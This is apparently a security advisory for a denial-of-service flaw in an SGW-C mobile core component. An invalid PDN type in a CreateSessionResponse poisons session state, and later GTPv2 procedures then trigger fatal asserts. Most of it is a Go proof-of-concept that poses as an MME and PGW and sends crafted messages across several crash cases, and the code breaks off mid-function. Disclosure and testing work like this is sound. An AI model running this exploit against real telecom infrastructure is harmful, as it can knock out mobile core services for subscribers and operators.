| 説明 | ### Description
if the SGW-C session state is first poisoned by a malformed **CreateSessionResponse** from PGW containing an invalid **PDN Address Allocation (PAA)** (e.g. `invalid-pdn-type=4`, which leads to an invalid `session_type`), subsequent control-plane procedures can drive SGW-C into “should not be reached” fatal branches.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
// PB1 multi-case verifier for:
// Scan-PB1-01 .. Scan-PB1-05 (invalid PAA -> invalid session_type -> assert)
//
// Case mapping:
// pb1-01: Modify Bearer Request after invalid PAA (S11)
// pb1-02: Create Bearer Response after invalid PAA (S11) with PGW Create Bearer Request (S5C)
// pb1-03: Create Indirect Data Forwarding Tunnel Request (S11, S1-U F-TEID)
// pb1-04: Create Indirect Data Forwarding Tunnel Request (S11, S12 RNC F-TEID)
// pb1-05: Root cause only (invalid PAA in Create Session Response, no assert)
import (
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"os/exec"
"regexp"
"strconv"
"strings"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
gtpv2msg "github.com/wmnsk/go-gtp/gtpv2/message"
)
const (
casePB101 = "pb1-01"
casePB102 = "pb1-02"
casePB103 = "pb1-03"
casePB104 = "pb1-04"
casePB105 = "pb1-05"
)
type config struct {
caseName string
sgwcS11Addr string
sgwcS5cAddr string
mmeAddr string
pgwAddr string
imsi string
apn string
mcc string
mnc string
ebi uint8
paa string
invalidPDNType uint8
mmeTeid uint32
pgwTeid uint32
enbTeid uint32
enbIP string
rncTeid uint32
rncIP string
waitTimeout time.Duration
createBearerDelay time.Duration
sgwS11Teid uint32
sgwS11TeidFile string
sgwS11TeidWait time.Duration
sgwS11TeidDocker string
sgwS11TeidTail int
}
type s5cInfo struct {
sgwTeid uint32
ebi uint8
}
type createBearerReqInfo struct {
seq uint32
ebi uint8
sgwS1uTeid uint32
sgwS1uIP string
}
func main() {
cfg := parseFlags()
rand.Seed(time.Now().UnixNano())
switch cfg.caseName {
case casePB101:
runPB101(cfg)
case casePB102:
runPB102(cfg)
case casePB103:
runPB103(cfg)
case casePB104:
runPB104(cfg)
case casePB105:
runPB105(cfg)
default:
log.Fatalf("unknown --case %q", cfg.caseName)
}
}
func parseFlags() config {
caseName := flag.String("case", "pb1-01", "pb1-01/pb1-02/pb1-03/pb1-04/pb1-05")
sgwcS11 := flag.String("sgwc-s11", "10.44.44.2:2123", "SGW-C S11 address")
sgwcS5c := flag.String("sgwc-s5c", "10.44.44.2:2123", "SGW-C S5C address")
mmeAddr := flag.String("mme", "10.44.44.5:2123", "Local MME bind address")
pgwAddr := flag.String("pgw", "10.44.44.4:2123", "Local PGW bind address")
imsi := flag.String("imsi", "001010000000001", "IMSI")
apn := flag.String("apn", "internet", "APN")
mcc := flag.String("mcc", "001", "Serving network MCC")
mnc := flag.String("mnc", "01", "Serving network MNC")
paa := flag.String("paa", "10.60.0.10", "PAA to include in CSRsp (ignored for invalid type)")
invalidPDNType := flag.Uint("invalid-pdn-type", 0, "Invalid PDN type to inject in PAA (0-7, valid are 1-3)")
defaultEBI := flag.Uint("ebi", 5, "Default EPS Bearer ID")
mmeTeid := flag.Uint("mme-teid", 0, "MME S11 TEID (0=random)")
pgwTeid := flag.Uint("pgw-teid", 0, "PGW S5C TEID (0=random)")
enbTeid := flag.Uint("enb-teid", 0, "eNB S1-U TEID (0=random)")
enbIP := flag.String("enb-ip", "10.0.0.10", "eNB S1-U IP")
rncTeid := flag.Uint("rnc-teid", 0, "RNC S12 TEID (0=random)")
rncIP := flag.String("rnc-ip", "10.0.0.20", "RNC S12 IP")
waitTimeout := flag.Duration("wait-timeout", 6*time.Second, "Wait timeout for each step")
createBearerDelay := flag.Duration("create-bearer-delay", 800*time.Millisecond, "Delay before PGW sends Create Bearer Request (pb1-02)")
sgwS11Teid := flag.Uint("sgw-s11-teid", 0, "Override SGW S11 TEID (required if CSRsp error lacks SenderFTEID)")
sgwS11TeidFile := flag.String("sgw-s11-teid-file", "", "Read SGW S11 TEID from a log/file (optional)")
sgwS11TeidWait := flag.Duration("sgw-s11-teid-wait", 3*time.Second, "Wait for SGW S11 TEID to appear in file")
sgwS11TeidDocker := flag.String("sgw-s11-teid-docker", "", "Read SGW S11 TEID from docker logs (container name, optional)")
sgwS11TeidTail := flag.Int("sgw-s11-teid-tail", 200, "Lines to tail from docker logs")
flag.Parse()
cfg := config{
caseName: strings.ToLower(*caseName),
sgwcS11Addr: *sgwcS11,
sgwcS5cAddr: *sgwcS5c,
mmeAddr: *mmeAddr,
pgwAddr: *pgwAddr,
imsi: *imsi,
apn: *apn,
mcc: *mcc,
mnc: *mnc,
paa: *paa,
invalidPDNType: uint8(*invalidPDNType),
ebi: uint8(*defaultEBI),
mmeTeid: uint32(*mmeTeid),
pgwTeid: uint32(*pgwTeid),
enbTeid: uint32(*enbTeid),
enbIP: *enbIP,
rncTeid: uint32(*rncTeid),
rncIP: *rncIP,
waitTimeout: *waitTimeout,
createBearerDelay: *createBearerDelay,
sgwS11Teid: uint32(*sgwS11Teid),
sgwS11TeidFile: *sgwS11TeidFile,
sgwS11TeidWait: *sgwS11TeidWait,
sgwS11TeidDocker: *sgwS11TeidDocker,
sgwS11TeidTail: *sgwS11TeidTail,
}
if cfg.ebi == 0 || cfg.ebi > 255 {
log.Fatalf("invalid --ebi %d", cfg.ebi)
}
if cfg.invalidPDNType > 7 {
log.Fatalf("invalid --invalid-pdn-type %d", cfg.invalidPDNType)
}
if cfg.caseName == "" {
log.Fatal("--case is required")
}
return cfg
}
func runPB101(cfg config) {
log.Println("=== PB1-01: Modify Bearer Request after invalid PAA ===")
env := startEnv(cfg)
defer env.mmeConn.Close()
defer env.pgwConn.Close()
sess := initSession(cfg, env)
sgwS11Teid := requireSgwS11Teid(cfg, sess.sgwS11Teid)
enbTeid := randNonZeroUint32(cfg.enbTeid)
log.Printf("[2] Send ModifyBearerRequest (EBI=%d, S11 TEID=0x%x)", sess.ebi, sgwS11Teid)
if err := sendModifyBearerRequest(env.mmeConn, env.sgwcS11Raddr, sgwS11Teid, sess.ebi, cfg.enbIP, enbTeid); err != nil {
log.Fatalf("send ModifyBearerRequest: %v", err)
}
log.Println("[*] Sent ModifyBearerRequest. Expected: ogs_assert_if_reached() in sgwc_s11_handle_modify_bearer_request.")
waitForCrash()
}
func runPB102(cfg config) {
log.Println("=== PB1-02: Create Bearer Response after invalid PAA ===")
env := startEnv(cfg)
defer env.mmeConn.Close()
defer env.pgwConn.Close()
sess := initSession(cfg, env)
sgwS11Teid := requireSgwS11Teid(cfg, sess.sgwS11Teid)
if cfg.createBearerDelay > 0 {
time.Sleep(cfg.createBearerDelay)
}
pgwS5uTeid := randNonZeroUint32(0)
log.Printf("[2] Send CreateBearerRequest (PGW -> SGW-C, S5C TEID=0x%x)", sess.sgwS5cTeid)
if err := sendCreateBearerRequest(env.pgwConn, env.sgwcS5cRaddr, sess.sgwS5cTeid, sess.ebi, pgwS5uTeid, env.pgwIP); err != nil {
log.Fatalf("send CreateBearerRequest: %v", err)
}
cbReq := waitCreateBearerReq(env.cbrReqCh, cfg.waitTimeout)
log.Printf("[3] Got CreateBearerRequest seq=0x%x ebi=%d sgw-s1u-teid=0x%x", cbReq.seq, cbReq.ebi, cbReq.sgwS1uTeid)
if cbReq.sgwS1uTeid == 0 {
log.Println("[!] No SGW S1U TEID in CreateBearerRequest; response may fail")
}
enbTeid := randNonZeroUint32(cfg.enbTeid)
log.Printf("[4] Send CreateBearerResponse (MME -> SGW-C, S11 TEID=0x%x)", sgwS11Teid)
if err := sendCreateBearerResponse(env.mmeConn, env.sgwcS11Raddr, sgwS11Teid, cbReq, cfg.enbIP, enbTeid); err != nil {
log.Fatalf("send CreateBearerResponse: %v", err)
}
log.Println("[*] Sent CreateBearerResponse. Expected: ogs_assert_if_reached() in sgwc_s11_handle_create_bearer_response.")
waitForCrash()
}
func runPB103(cfg config) {
log.Println("=== PB1-03: Create Indirect Data Forwarding Tunnel Request (S1-U) ===")
env := startEnv(cfg)
defer env.mmeConn.Close()
defer env.pgwConn.Close()
sess := initSession(cfg, env)
sgwS11Teid := requireSgwS11Teid(cfg, sess.sgwS11Teid)
enbTeid := randNonZeroUint32(cfg.enbTeid)
fteid := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS1UeNodeBGTPU, enbTeid, cfg.enbIP, "")
log.Printf("[2] Send CreateIndirectDataForwardingTunnelRequest (S11 TEID=0x%x)", sgwS11Teid)
if err := sendCIDFTR(env.mmeConn, env.sgwcS11Raddr, sgwS11Teid, sess.ebi, fteid); err != nil {
log.Fatalf("send CIDFTR: %v", err)
}
log.Println("[*] Sent CIDFTR (S1-U). Expected: ogs_assert_if_reached() in sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request.")
waitForCrash()
}
func runPB104(cfg config) {
log.Println("=== PB1-04: Create Indirect Data Forwarding Tunnel Request (S12 RNC) ===")
env := startEnv(cfg)
defer env.mmeConn.Close()
defer env.pgwConn.Close()
sess := initSession(cfg, env)
sgwS11Teid := requireSgwS11Teid(cfg |
|---|